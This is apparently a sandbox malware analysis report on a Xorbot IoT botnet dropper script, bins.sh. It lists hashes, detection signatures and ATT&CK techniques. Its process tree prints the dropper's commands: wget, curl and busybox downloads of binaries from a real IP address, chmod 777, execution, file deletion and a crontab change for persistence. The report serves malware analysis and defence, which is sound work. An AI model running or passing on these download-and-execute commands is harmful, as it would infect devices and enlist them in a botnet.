xorbot | 4fa56931653e1b3afa0f8f7117bb2e5b1e9cef8bc0eba4e46d11a7c5081cf4c8

Analysis

max time kernel
150s
max time network
153s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
01/12/2024, 12:52

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

471fda7ae47efbd3a7ae13a187d7dd6c
SHA1

48ee8b96d4a32ba6b5cc63e5b87890c51d7312d8
SHA256

4fa56931653e1b3afa0f8f7117bb2e5b1e9cef8bc0eba4e46d11a7c5081cf4c8
SHA512

7f5e3d7bec602fd4d50299d9209e83b16a2d91fae16dc5147688db3f69b77da906a15440eda309cd2c29e5f7d33e0070d5438786a00d5fa52a325b70dd1d236d
SSDEEP

192:wrOt6BXNXDSy0fjsP+yCtFDjHA35+yCtFLjHt2Ot6BhjSy0fjP:wrOt6pNXDSy0fjsP+yCtFDjHA35+yCtR

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-3.dat	family_xorbot
behavioral2/files/fstream-5.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1750) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
705	chmod
735	chmod
779	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH	706	hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
/tmp/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2	736	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
/tmp/VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d	780	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d

Renames itself 1 IoCs

pid	Process
781	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.0kJYTe	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/801/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/24/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/787/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/994/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/106/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/963/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/945/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/950/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/967/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/260/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/608/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/146/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/835/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/860/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/930/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/962/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/14/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/796/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/985/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/300/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/851/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/807/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/809/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/902/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/8/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/653/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/652/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/805/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/971/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/10/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/151/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/273/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/18/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/197/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/969/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/820/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/874/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/965/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/852/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/943/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/836/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/840/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/878/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/937/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/964/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/980/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/13/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/797/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/841/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/21/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/96/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/915/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/921/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/830/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/844/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/795/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/927/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/947/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/978/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/709/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
File opened for reading	/proc/825/cmdline	VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2	curl
File opened for modification	/tmp/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2	busybox
File opened for modification	/tmp/VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d	wget
File opened for modification	/tmp/VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d	curl
File opened for modification	/tmp/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH	busybox
File opened for modification	/tmp/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2	wget
File opened for modification	/tmp/VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d	busybox
File opened for modification	/tmp/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH	wget
File opened for modification	/tmp/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:653
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:657
- /usr/bin/wget
  wget http://216.126.231.240/bins/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
  2⤵
  - Writes file to tmp directory
  PID:663
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:678
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
  2⤵
  - Writes file to tmp directory
  PID:702
- /bin/chmod
  chmod 777 hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
  2⤵
  - File and Directory Permissions Modification
  PID:705
- /tmp/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
  ./hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
  2⤵
  - Executes dropped EXE
  PID:706
- /bin/rm
  rm hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
  2⤵
  PID:710
- /usr/bin/wget
  wget http://216.126.231.240/bins/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
  2⤵
  - Writes file to tmp directory
  PID:712
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:719
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
  2⤵
  - Writes file to tmp directory
  PID:732
- /bin/chmod
  chmod 777 KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
  ./KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
  2⤵
  - Executes dropped EXE
  PID:736
- /bin/rm
  rm KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
  2⤵
  PID:739
- /usr/bin/wget
  wget http://216.126.231.240/bins/VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
  2⤵
  - Writes file to tmp directory
  PID:740
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:745
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
  2⤵
  - Writes file to tmp directory
  PID:778
- /bin/chmod
  chmod 777 VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
  2⤵
  - File and Directory Permissions Modification
  PID:779
- /tmp/VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
  ./VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:780
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:782
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:783
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:784
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:785
- /bin/rm
  rm VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
  2⤵
  PID:787
- /usr/bin/wget
  wget http://216.126.231.240/bins/YT7sHEF0o3vniEeMLDQH7lScvZCARcPUYl
  2⤵
  PID:790

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/var/spool/cron/crontabs/tmp.0kJYTe

Filesize
210B

MD5
5ee94106223ac455e8fda11f3a1f0461

SHA1
9cde0a4670c92c36a101a295eb47a34ea40ba8eb

SHA256
ab8f6640e778f5985af9c2226ad905346707c89d1160f145ab69d96d4b7ed19e

SHA512
c7d084167455d8a582d1ac78347cb6f72cb0fb2703fdaefb280a254e0dea56abb698fb77292b8c7564b6cf7108f2ccc88ff56d6558cc1ee5306c1c27efb276c8

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads